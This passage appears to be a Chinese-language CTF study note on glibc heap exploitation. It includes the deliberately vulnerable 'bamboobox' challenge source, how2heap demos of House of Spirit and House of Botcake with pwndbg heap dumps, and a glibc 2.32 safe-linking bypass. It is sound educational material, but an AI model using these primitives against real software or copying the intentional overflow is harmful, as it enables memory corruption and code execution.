{0}; int num; void hello_message() { puts("There is a box with magic"); puts("what do you want to do in the box"); } void goodbye_message() { puts("See you next time"); puts("Thanks you"); } struct box { void (*hello_message)(); void (*goodbye_message)(); }; void menu() { puts("----------------------------"); puts("Bamboobox Menu"); puts("----------------------------"); puts("1.show the items in the box"); puts("2.add a new item"); puts("3.change the item in the box"); puts("4.remove the item in the box"); puts("5.exit"); puts("----------------------------"); printf("Your choice:"); } void show_item() { int i; if (!num) { puts("No item in the box"); } else { for (i = 0; i < 100; i++) { if (itemlist[i].name) { printf("%d : %s", i, itemlist[i].name); } } puts(""); } } int add_item() { char sizebuf[8]; int length; int i; int size; if (num < 100) { printf("Please enter the length of item name:"); read(0, sizebuf, 8); length = atoi(sizebuf); if (length == 0) { puts("invaild length"); return 0; } for (i = 0; i < 100; i++) { if (!itemlist[i].name) { itemlist[i].size = length; itemlist[i].name = (char *)malloc(length); printf("Please enter the name of item:"); size = read(0, itemlist[i].name, length); itemlist[i].name[size] = '\x00'; num++; break; } } } else { puts("the box is full"); } return 0; } void change_item() { char indexbuf[8]; char lengthbuf[8]; int length; int index; int readsize; if (!num) { puts("No item in the box"); } else { printf("Please enter the index of item:"); read(0, indexbuf, 8); index = atoi(indexbuf); if (itemlist[index].name) { printf("Please enter the length of item name:"); read(0, lengthbuf, 8); length = atoi(lengthbuf); printf("Please enter the new name of the item:"); readsize = read(0, itemlist[index].name, length); *(itemlist[index].name + readsize) = '\x00'; } else { puts("invaild index"); } } } void remove_item() { char indexbuf[8]; int index; if (!num) { puts("No item in the box"); } else { printf("Please enter the index of item:"); read(0, indexbuf, 8); index = atoi(indexbuf); if (itemlist[index].name) { free(itemlist[index].name); itemlist[index].name = 0; itemlist[index].size = 0; puts("remove successful!!"); num--; } else { puts("invaild index"); } } } void magic() { int fd; char buffer[100]; fd = open("./flag", O_RDONLY); read(fd, buffer, sizeof(buffer)); close(fd); printf("%s", buffer); exit(0); } int main() { char choicebuf[8]; int choice; struct box *bamboo; setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); bamboo = malloc(sizeof(struct box)); bamboo->hello_message = hello_message; bamboo->goodbye_message = goodbye_message; bamboo->hello_message(); while (1) { menu(); read(0, choicebuf, 8); choice = atoi(choicebuf); switch (choice) { case 1: show_item(); break; case 2: add_item(); break; case 3: change_item(); break; case 4: remove_item(); break; case 5: bamboo->goodbye_message(); exit(0); break; default: puts("invaild choice!!!"); break; } } return 0; } ``` ## House of spirit ### 原理 在目標位置處偽造fake chunk,free掉後再malloc達到任意寫 ### _libc_free https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3085 ```c void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; } MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0); } ``` ### how2heap(Glibc 2.31) ```c #include <stdio.h> #include <stdlib.h> #include <assert.h> int main() { setbuf(stdout, NULL); puts("這個文件展示了 house of spirit 攻擊。"); puts("此攻擊將非堆指標添加到 fastbin 中,從而導致(幾乎)任意寫入。"); puts("所需的原語:已知目標地址,能夠設置目標內存的開始/結束。"); puts("\n步驟 1:分配 7 個塊並釋放它們以填滿 tcache"); void *chunks[7]; for(int i=0; i<7; i++) { chunks[i] = malloc(0x30); } for(int i=0; i<7; i++) { free(chunks[i]); } puts("\n步驟 2:準備假塊"); long fake_chunks[10] __attribute__ ((aligned (0x10))); printf("目標假塊位於 %p\n", fake_chunks); printf("它包含兩個塊。第一個從 %p 開始,第二個從 %p 開始。\n", &fake_chunks[1], &fake_chunks[9]); printf("這個區域的 chunk.size 必須比區域大 16 以容納 chunk 數據,同時仍然屬於 fastbin 類別(在 x64 上<= 128)。對於 fastbin 大小的塊,free 忽略 PREV_INUSE (lsb) 位,但 IS_MMAPPED(第二個 lsb)和 NON_MAIN_ARENA(第三個 lsb)位會導致問題。\n"); puts("... 注意這必須是下一個 malloc 請求的大小,四捨五入到 malloc 實現使用的內部大小。例如在 x64 上,0x30-0x38 都將四捨五入為 0x40,因此它們將適用於最後的 malloc 參數。"); printf("現在將塊 (%p) 的大小設置為 0x40,這樣 malloc 會認為它是一個有效的塊。\n", &fake_chunks[1]); fake_chunks[1] = 0x40; // 這是大小 printf("下一個假區域的 chunk.size 必須是合理的。即 > 2*SIZE_SZ (> 16 在 x64 上) && < av->system_mem(對於主 arena 默認 < 128kb)以通過 nextsize 完整性檢查。不需要 fastbin 大小。\n"); printf("將塊 (%p) 的大小設置為 0x1234,以便釋放第一個塊可以成功。\n", &fake_chunks[9]); fake_chunks[9] = 0x1234; // nextsize puts("\n步驟 3:釋放第一個假塊"); puts("注意,假塊的地址必須是 16 字節對齊的。\n"); void *victim = &fake_chunks[2]; free(victim); puts("\n步驟 4:取出假塊"); printf("現在下一個 calloc 將返回我們的假塊,位於 %p!\n", &fake_chunks[2]); printf("malloc 也可以做到這一點,你只需執行 8 次即可。"); void *allocated = calloc(1, 0x30); printf("malloc(0x30): %p, 假塊: %p\n", allocated, victim); assert(allocated == victim); } ``` 我們先malloc七塊,並free掉,填滿tcache ``` pwndbg> parseheap addr prev size status fd bk 0x616d47c9a000 0x0 0x290 Used None None 0x616d47c9a290 0x0 0x40 Freed 0x0 None 0x616d47c9a2d0 0x0 0x40 Freed 0x616d47c9a2a0 None 0x616d47c9a310 0x0 0x40 Freed 0x616d47c9a2e0 None 0x616d47c9a350 0x0 0x40 Freed 0x616d47c9a320 None 0x616d47c9a390 0x0 0x40 Freed 0x616d47c9a360 None 0x616d47c9a3d0 0x0 0x40 Freed 0x616d47c9a3a0 None 0x616d47c9a410 0x0 0x40 Freed 0x616d47c9a3e0 None ``` 然後準備一塊fake chunk,位於0x7ffdbe35ceb0 它包含兩個chunk,第一個從 0x7ffdbe35ceb8 開始,第二個從 0x7ffdbe35cef8 開始 並在fake chunk size偽造 0x40,next chunk size偽造0x1234(大於0x10,小於128kb) ``` pwndbg> x/40xg 0x7ffdbe35ceb0 0x7ffdbe35ceb0: 0x0000616d47316040 0x0000000000000040 0x7ffdbe35cec0: 0x00000000000000c2 0x00007ffdbe35cef7 0x7ffdbe35ced0: 0x00007ffdbe35cef6 0x0000616d473174ed 0x7ffdbe35cee0: 0x0000763b65bdc2e8 0x0000616d473174a0 0x7ffdbe35cef0: 0x0000000000000000 0x0000000000001234 ``` 接下來把fake chunk free掉,他會進入到0x40的fastbin ``` (0x40) fastbin[2]: 0x7ffdbe35ceb0 --> 0x0 ``` malloc八次就可以拿到,或是直接calloc ## house_of_botcake ### 原理 透過unlink+double free把我們要的塊同時存在於unsorted bin+tcache並malloc大塊的把chunk2 fd寫掉,最後malloc兩次拿出來 ### how2heap ```c #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main() { /* * 此攻擊應該繞過在以下位置引入的限制: * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * 如果 libc 不包含此限制,您可以簡單地對 victim 執行雙重釋放並進行簡單的 tcache 中毒。 * 感謝 @anton00b 和 @subwire 提供此技術的奇怪名稱。 */ // 禁用緩衝,以便 _IO_FILE 不干擾我們的堆 setbuf(stdin, NULL); setbuf(stdout, NULL); // 介紹 puts("這個文件演示了一種強大的 tcache 中毒攻擊,通過誘騙 malloc 返回指向任意位置的指針(在本演示中是堆棧)。"); puts("此攻擊僅依賴於雙重釋放。\n"); // 準備目標 intptr_t stack_var[4]; puts("我們希望 malloc() 返回的地址,即"); printf("目標地址是 %p。\n\n", stack_var); // 準備堆佈局 puts("準備堆佈局"); puts("分配 7 個塊(malloc(0x100))以便稍後填滿 tcache 列表。"); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("分配一個塊以便稍後合併"); intptr_t *prev = malloc(0x100); puts("分配受害者塊。"); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p。\n", a); puts("分配填充以防止合併。\n"); malloc(0x10); // 造成塊重疊 puts("現在我們能夠造成塊重疊"); puts("步驟 1:填滿 tcache 列表"); for(int i=0; i<7; i++){ free(x[i]); } puts("步驟 2:釋放受害者塊,使其添加到unsorted bin 中"); free(a); puts("步驟 3:釋放先前的塊並使其與受害者塊合併。"); free(prev); puts("步驟 4:通過從 tcache 列表中取出一個並再次釋放受害者來將受害者塊添加到 tcache 列表中\n"); malloc(0x100); /*漏洞*/ free(a);// a 已經被釋放 /*漏洞*/ // 簡單的 tcache 中毒 puts("發動 tcache 中毒"); puts("現在受害者包含在更大的釋放塊中,我們可以通過使用重疊塊來進行簡單的 tcache 中毒"); intptr_t *b = malloc(0x120); puts("我們簡單地覆蓋受害者的 fwd 指針"); b[0x120/8-2] = (long)stack_var; // 取出目標 puts("現在我們可以兌現目標塊。"); malloc(0x100); intptr_t *c = malloc(0x100); printf("新塊位於 %p\n", c); // 檢查 assert(c==stack_var); printf("獲得對目標/堆棧的控制!\n\n"); // 注意 puts("注意:"); puts("這種利用的一個奇妙之處在於:您可以再次釋放 b 和受害者,並修改受害者的 fwd 指針"); puts("在那種情況下,一旦您完成這種利用,您可以非常輕鬆地進行許多任意寫入。"); return 0; } ``` 首先先malloc(0x100) 7塊,以便用來塞滿tcache 接下來malloc兩個0x100(a -> 受害chunk、prev -> 前一塊)跟一塊0x10防止合併 並且先free掉七塊然後free掉a ``` unsortbin: 0x555555559b10 (size : 0x110) (0x110) tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 ``` ``` pwndbg> parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x0 None 0x5555555593a0 0x0 0x110 Freed 0x5555555592a0 None 0x5555555594b0 0x0 0x110 Freed 0x5555555593b0 None 0x5555555595c0 0x0 0x110 Freed 0x5555555594c0 None 0x5555555596d0 0x0 0x110 Freed 0x5555555595d0 None 0x5555555597e0 0x0 0x110 Freed 0x5555555596e0 None 0x5555555598f0 0x0 0x110 Freed 0x5555555597f0 None 0x555555559a00 0x0 0x110 Used None None 0x555555559b10 0x0 0x110 Freed 0x7ffff7fafbe0 0x7ffff7fafbe0 0x555555559c20 0x110 0x20 Used None None ``` 再free掉prev,這樣prev + a合併成一塊chunk ``` addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x0 None 0x5555555593a0 0x0 0x110 Freed 0x5555555592a0 None 0x5555555594b0 0x0 0x110 Freed 0x5555555593b0 None 0x5555555595c0 0x0 0x110 Freed 0x5555555594c0 None 0x5555555596d0 0x0 0x110 Freed 0x5555555595d0 None 0x5555555597e0 0x0 0x110 Freed 0x5555555596e0 None 0x5555555598f0 0x0 0x110 Freed 0x5555555597f0 None 0x555555559a00 0x0 0x220 Freed 0x7ffff7fafbe0 0x7ffff7fafbe0 0x555555559c20 0x220 0x20 Used None None ``` 鏈表狀況 ``` unsortbin: 0x555555559a00 (size : 0x220) (0x110) tcache_entry[15](7): 0x555555559900 --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 ``` 再來將一塊tcache free掉並將a再次free掉(double free) ``` unsortbin: 0x555555559a00 (size : 0x220) (0x110) tcache_entry[15](6): 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 ``` ``` unsortbin: 0x555555559a00 (overlap chunk with 0x555555559b10(freed) ) (0x110) tcache_entry[15](7): 0x555555559b20(chunk a data) --> 0x5555555597f0 --> 0x5555555596e0 --> 0x5555555595d0 --> 0x5555555594c0 --> 0x5555555593b0 --> 0x5555555592a0 ``` 現在的a同時位於tcache跟unsorted bin中,這時後malloc一塊很大的包含prev 跟 a 的,寫掉a的fd,讓tcache指向我們要去的地方,再去malloc出來就可以了 下方可以看到有一塊0x130被malloc出來,我們寫到a chunk fd ```shell pwndbg> parseheap addr prev size status fd bk 0x555555559000 0x0 0x290 Used None None 0x555555559290 0x0 0x110 Freed 0x0 None 0x5555555593a0 0x0 0x110 Freed 0x5555555592a0 None 0x5555555594b0 0x0 0x110 Freed 0x5555555593b0 None 0x5555555595c0 0x0 0x110 Freed 0x5555555594c0 None 0x5555555596d0 0x0 0x110 Freed 0x5555555595d0 None 0x5555555597e0 0x0 0x110 Freed 0x5555555596e0 None 0x5555555598f0 0x0 0x110 Freed 0x5555555597f0 None 0x555555559a00 0x0 0x130 Used None None 0x555555559b30 0x0 0xf0 Freed 0x7ffff7fafbe0 0x7ffff7fafbe0 0x555555559c20 0xf0 0x20 Used None None ``` 這邊寫入成功 ``` (0x110) tcache_entry[15](7): 0x555555559b20 --> 0x7fffffffdee0 --> 0x555555554040 (overlap chunk with 0x555555559b10(freed) ) ``` malloc兩次就拿到任意寫了 ## glibc 2.32 指針加密bypass 先來看看glibc 2.32針對指針加密的方法 ```c #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) ``` 對當前的位置>>12然後去xor原來的pointer 現在有兩塊free chunk `heap base 0x555555559000` `tcache_entry[2](2): 0x5555555592e0 --> 0x5555555592a0` ``` pwndbg> x/20xg 0x5555555592a0-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x0000000555555559 0x53f8020fccebf671 0x5555555592b0: 0x0000000000000000 0x0000000000000000 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000041 0x5555555592e0: 0x000055500000c7f9 0x53f8020fccebf671 ``` 以第一塊來講 pos >> 12 = 0x555555559 ptr = 0 0 ^ 0x555555559 = 0x555555559 第二塊 pos >> 12 = 0x555555559 ptr = 0x5555555592a0 0x555555559 ^ 0x5555555592a0 = 0x55500000c7f9 所以如果可以leak第一塊tcache,然後<<12,就可以直接get heap base 透過heap base去推算pos(heapbase+offset) >> 12 只要get heapbase要偽造或是要leak都可以 ## house of cat